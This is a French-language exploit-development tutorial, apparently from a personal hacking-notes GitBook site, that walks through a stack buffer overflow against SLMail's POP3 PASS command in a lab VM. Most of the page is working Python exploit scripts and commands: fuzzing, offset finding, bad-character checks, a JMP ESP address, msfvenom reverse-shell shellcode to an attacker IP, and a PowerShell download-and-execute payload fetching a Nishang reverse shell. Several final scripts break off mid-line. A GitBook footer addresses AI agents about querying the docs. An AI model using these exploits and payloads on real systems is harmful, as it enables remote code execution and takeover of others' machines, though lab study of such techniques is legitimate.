> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/useful-resources/exploit-development/windows-buffer-overflow-slmail.md).
# Buffer Overflow Windows - SLMail
Installation de l'environnement de débordement de tampon
1. Téléchargez la machine [Windows 7 Basic 32 bits](https://lecrabeinfo.net/telecharger/windows-7-edition-familiale-basique-sp1-x86):
2. Dans la machine, téléchargez le [débogueur ](https://www.immunityinc.com/products/debugger/):
3. Une fois installé, exécutez la commande suivante dans le terminal :
```bash
bcdedit.exe /set {current} nx AlwaysOff
```
4. Copiez ceci [le script ](https://www.immunityinc.com/products/debugger/)dans un fichier a.py :
5. Collez le script dans `c:/Program Files/Immunity Inc/Immunity Debugger/PyCommands`
6. Enfin, installez [slmail](https://slmail.software.informer.com/download/):
## Phase initiale de fuzzing et contrôle du registre EIP :
{% hint style="success" %}
Au cours de la phase initiale d'exploitation d'un débordement de tampon, les premières étapes consistent à déterminer les limites du programme. Cela se fait en testant l'introduction de caractères supplémentaires dans divers champs d'entrée du programme, tels que des chaînes de texte ou des fichiers, jusqu'à détecter une altération ou une défaillance de l'application. Une fois la limite du champ d'entrée identifiée, l'étape suivante consiste à découvrir l'offset (décalage), qui représente le nombre exact de caractères nécessaires pour provoquer une altération dans le programme et écraser également la valeur du registre EIP (Extended Instruction Pointer). Ce registre, qui pointe vers l'adresse mémoire de la prochaine instruction à exécuter, est crucial. Dans une exploitation réussie d'un débordement de tampon, sa valeur est remplacée par une adresse contrôlée par l'attaquant, permettant l'exécution de code malveillant. L'objectif, lors de la détermination de l'offset, est donc de préciser la quantité exacte de caractères à introduire pour écraser la valeur du registre EIP, et ainsi pointer vers l'adresse mémoire contrôlée par l'attaquant. Grâce à ces informations, vous pouvez concevoir votre propre exploit pour le programme cible, en contrôlant également le registre EIP et en permettant l'exécution de code malveillant.
{% endhint %}
* Dans Immunity Debugger, nous sélectionnons SL Mail :
* Nous allons maintenant créer un script en Python qui automatisera la découverte du nombre d'octets nécessaires pour provoquer un crash du programme.
```python
#!/usr/bin/python3
import socket
import sys
if len(sys.argv) != 2:
print("/n[!] Usage: exploit.py ")
exit(1)
ip_address = "192.168.71.139"
port = 110
total_length = int(sys.argv[1])
def exploit():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, port))
banner = s.recv(1024)
s.send(b"USER jordan" + b'/r/n')
response = s.recv(1024)
s.send(b"PASS " + b"A"*total_length + b' /r/n')
s.close()
if __name__ == '__main__':
exploit()
```
Comme nous sommes sous Windows, nous utiliserons un outil de Metasploit.
```bash
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb
```
Exemple avec 5000 caractères :
```python
#!/usr/bin/python3
import socket
import sys
ip_address = "192.168.71.139"
port = 110
payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck"
def exploit():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, port))
banner = s.recv(1024)
s.send(b"USER jordan" + b'/r/n')
response = s.recv(1024)
s.send(b"PASS " + payload + b' /r/n')
s.close()
if __name__ == '__main__':
exploit()
```
* Le service a crashé, mais ce qui nous intéresse est la valeur de l'EIP :
* Avec le script suivant, également issu de Metasploit, nous lui passons cette valeur, l'EIP, et il calcule le nombre maximal possible de caractères du tampon : `/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb`
* Ainsi, une fois que nous connaissons l'offset, le script suivant injectera 4 caractères B pour voir si cela fonctionne ou non :
```python
#!/usr/bin/python3
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A"* offset
eip = b"B"*4
payload = before_eip + eip
def exploit():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, port))
banner = s.recv(1024)
s.send(b"USER jordan" + b'/r/n')
response = s.recv(1024)
s.send(b"PASS " + payload + b' /r/n')
s.close()
if __name__ == '__main__':
exploit()
```
\*Nous voyons que l'EIP correspond au caractère B répété quatre fois (42424242) :
## Allocation d'espace pour le shellcode :
{% hint style="success" %}
Une fois l'offset trouvé et la valeur du registre EIP écrasée lors d'un débordement de tampon, le processus suivant consiste à localiser en mémoire la représentation des caractères saisis dans le champ d'entrée. Après cette altération du registre EIP, les caractères supplémentaires introduits dans le champ d'entrée sont identifiés au début de la pile dans le registre ESP (Extended Stack Pointer), comme on peut l'observer via Immunity Debugger. ESP, un registre du processeur, gère la pile dans un programme, une zone mémoire temporaire qui stocke les valeurs et les adresses de retour des fonctions. L'étape suivante consiste à injecter un shellcode, c'est-à-dire les instructions de bas niveau correspondant à une action malveillante, à l'endroit où il est identifié. Le shellcode est placé dans la pile à l'adresse où se trouvent les caractères altérés, exploitant également le débordement de tampon pour exécuter le code malveillant et prendre le contrôle du système. Il est essentiel de concevoir le shellcode avec des précautions afin d'éviter toute détection malveillante, tout en garantissant la compatibilité avec l'architecture du processeur et le système d'exploitation ciblé. En résumé, l'allocation d'espace pour le shellcode nécessite une identification précise de l'emplacement mémoire des autres caractères dans le débordement de tampon, suivie d'une injection stratégique du shellcode malveillant. Cependant, la conception du shellcode doit prendre en compte la détection des caractères indésirables (badchars), et nous verrons à l'étape suivante comment les détecter et générer un shellcode exempt de ces éléments.
{% endhint %}
Maintenant, avec le script suivant, nous allons voir ce qui se passe si nous ne créons pas de débordement de tampon après l'EIP ou si tout le contenu est en stock (sur la pile) :
```python
#!/usr/bin/python3
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A"* offset
eip = b"B"*4
after_eip = b"C"*200
payload = before_eip + eip + after_eip
def exploit():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, port))
banner = s.recv(1024)
s.send(b"USER jordan" + b'/r/n')
response = s.recv(1024)
s.send(b"PASS " + payload + b' /r/n')
s.close()
if __name__ == '__main__':
exploit()
```
Si nous regardons plus d'informations sur la gauche avec follow in dump :
## Génération de bytearrays et détection des badchars :
{% hint style="success" %}
Lors de la création d'un shellcode malveillant pour exploiter le débordement de tampon, le programme cible peut échouer à interpréter certains octets spécifiques, appelés badchars. Ces octets peuvent casser le shellcode ou faire planter le programme de manière inattendue. Pour éviter cela, identifiez et supprimez les badchars avant de générer le payload final. Avec Immunity Debugger et Mona, générez un bytearray complet, envoyez-le à travers le tampon vulnérable et comparez les octets qui arrivent dans ESP. Tout octet manquant ou altéré doit être exclu du shellcode final.
{% endhint %}
\*Nous utilisons la commande suivante pour créer un dossier de travail avec Mona sur le bureau :
* Avec la commande suivante, les fichiers sont créés :
```
!mona bytearray -cpb '/x00'
```
* Pour transférer les fichiers, nous pouvons créer un serveur SMB avec la commande suivante :
impacket-smbserver smbFolder $(pwd) -smb2support
* Dans l'Explorateur de fichiers, nous saisissons l'adresse IP et collons le fichier bytearray créé :
* Maintenant, cette chaîne doit être collée dans le script (en ajoutant un 'b' à chaque ligne pour indiquer qu'elle est en mode octet) :
* Script Python :
```python
#!/usr/bin/python3
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A" * offset
eip = b"B" * 4
after_eip = (b"/x01/x02/x03/x04/x05/x06/x07/x08/x09/x0a/x0b/x0c/x0d/x0e/x0f/x10/x11/x12/x13/x14/x15/x16/x17/x18/x19/x1a/x1b/x1c/x1d/x1e/x1f/x20"
b"/x21/x22/x23/x24/x25/x26/x27/x28/x29/x2a/x2b/x2c/x2d/x2e/x2f/x30/x31/x32/x33/x34/x35/x36/x37/x38/x39/x3a/x3b/x3c/x3d/x3e/x3f/x40"
b"/x41/x42/x43/x44/x45/x46/x47/x48/x49/x4a/x4b/x4c/x4d/x4e/x4f/x50/x51/x52/x53/x54/x55/x56/x57/x58/x59/x5a/x5b/x5c/x5d/x5e/x5f/x60"
b"/x61/x62/x63/x64/x65/x66/x67/x68/x69/x6a/x6b/x6c/x6d/x6e/x6f/x70/x71/x72/x73/x74/x75/x76/x77/x78/x79/x7a/x7b/x7c/x7d/x7e/x7f/x80"
b"/x81/x82/x83/x84/x85/x86/x87/x88/x89/x8a/x8b/x8c/x8d/x8e/x8f/x90/x91/x92/x93/x94/x95/x96/x97/x98/x99/x9a/x9b/x9c/x9d/x9e/x9f/xa0"
b"/xa1/xa2/xa3/xa4/xa5/xa6/xa7/xa8/xa9/xaa/xab/xac/xad/xae/xaf/xb0/xb1/xb2/xb3/xb4/xb5/xb6/xb7/xb8/xb9/xba/xbb/xbc/xbd/xbe/xbf/xc0"
b"/xc1/xc2/xc3/xc4/xc5/xc6/xc7/xc8/xc9/xca/xcb/xcc/xcd/xce/xcf/xd0/xd1/xd2/xd3/xd4/xd5/xd6/xd7/xd8/xd9/xda/xdb/xdc/xdd/xde/xdf/xe0"
b"/xe1/xe2/xe3/xe4/xe5/xe6/xe7/xe8/xe9/xea/xeb/xec/xed/xee/xef/xf0/xf1/xf2/xf3/xf4/xf5/xf6/xf7/xf8/xf9/xfa/xfb/xfc/xfd/xfe/xff")
payload = before_eip + eip + after_eip
def exploit():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, port))
banner = s.recv(1024)
s.send(b"USER jordan" + b'/r/n')
response = s.recv(1024)
s.send(b"PASS " + payload + b' /r/n')
s.close()
if __name__ == '__main__':
exploit()
```
* Nous effectuons un suivi en dump de l'ESP :
* Là, nous pouvons voir les caractères indésirables (qu'il ne peut pas interpréter) :
Nous affichons maintenant la commande ci-dessous avec le numéro de l'ESP (précédé de 0x et la comparaison avec bytearray.bion) pour voir les caractères qui peuvent être interprétés correctement :
!mona compare -a 0x00E8A128 -f C:/Users/Jordan/Desktop/Analysis/bytearray.bin
* Avec cette commande, nous indiquons de ne pas supprimer les caractères indésirables du fichier bytearray :
```
!mona bytearray -cpb '/x00/x0a'
```
* Nous recommençons et il détecte de nouveaux caractères indésirables :
!mona compare -a 0x0210A128 -f C:/Users/Jordan/Desktop/Analysis/bytearray.bin
\*Et nous mettons à jour la bytearray à nouveau :
```
!mona bytearray -cpb '/x00/x0a/x0d'
```
* Si nous le refaisons, aucune erreur n'apparaît plus :
## Recherche d'opcodes pour accéder à l'ESP et charger notre shellcode :
{% hint style="success" %}
Après avoir généré le shellcode et identifié les badchars, redirigez le flux d'exécution vers le shellcode. L'objectif est d'écraser EIP avec une adresse mémoire qui contient une `JMP ESP` instruction, car le shellcode réside dans ESP et EIP ne peut pas s'y pointer directement de manière fiable. Utilisez des outils tels que `mona.py` pour rechercher dans les modules chargés un `JMP ESP` opcode utilisable. Une fois l'adresse trouvée, placez-la dans EIP afin que l'exécution saute vers ESP et exécute le shellcode.
{% endhint %}
* La commande ci-dessous génère un shellcode Windows x86, utilisant une connexion TCP inversée vers l'adresse IP 192.168.71.128 sur le port 443, avec un encodage shikata/\_ga/\_nai et en excluant les badchars.
```css
msfvenom -p windows/shell_reverse_tcp --platform windows -a x86 LHOST=192.168.71.128 LPORT=443 -f c -e x86/shikata_ga_nai -b '/x00/x0a/x0d' EXITFUNC=thread
```
* Maintenant, avec la **!mona modules** commande, nous rechercherons un module non protégé dont la valeur est fausse :
* Nous recherchons un jmp esp, qui se traduirait par "/xFF/xE4" :
* Avec la commande suivante, nous devrions choisir l'un de ces modules sans protection et sans bad char :
* Dans ce cas, nous choisissons le dernier, qui est "0x5f4c4d13". Nous allons créer un point d'arrêt pour vérifier si le flux du programme passe correctement par là :
* Avec ce script, nous parviendrons à modifier l'EIP vers celui qui nous intéresse :
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A" * offset
eip = pack("
* Maintenant, si nous suivons le dump de l'ESP, le shellcode serait représenté :
## Utilisation de NOPs, de placements sur la pile et de l'interprétation du shellcode pour obtenir une RCE (exécution de code à distance).
* Il ne nous l'interprète pas :
* Modifions maintenant le script en ajoutant ce NOP de la manière suivante :
* Script final :
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A" * offset
eip = pack("
## Modification du shellcode pour contrôler la commande que vous pouvez exécuter :
{% hint style="success" %}
En plus des payloads de reverse shell, le `windows/exec` payload peut intégrer une commande directement via l'option `CMD` option. Cela crée un shellcode qui exécute la commande choisie lors de son exécution. Générez-le avec `msfvenom -p windows/exec CMD=""`, puis utilisez la même technique de débordement de tampon pour écraser EIP et rediriger l'exécution vers le shellcode.
{% endhint %}
* Téléchargez ceci [le script ](https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1)et nommez-le PS.ps1
Ajoutez ceci à la fin du script : `PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.71.128 -Port 443`
* Générez le shellcode :
```bash
msfvenom -p windows/exec CMD="powershell IEX(New-Object Net.WebClient).downloadString('http://192.168.71.128/PS.ps1')" --platform windows -a x86 -f c -e x86/shikata_ga_nai -b '/x00/x0a/x0d' EXITFUNC=thread
```
* Script mis à jour :
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A" * offset
eip = pack("
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/fr/useful-resources/exploit-development/windows-buffer-overflow-slmail.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.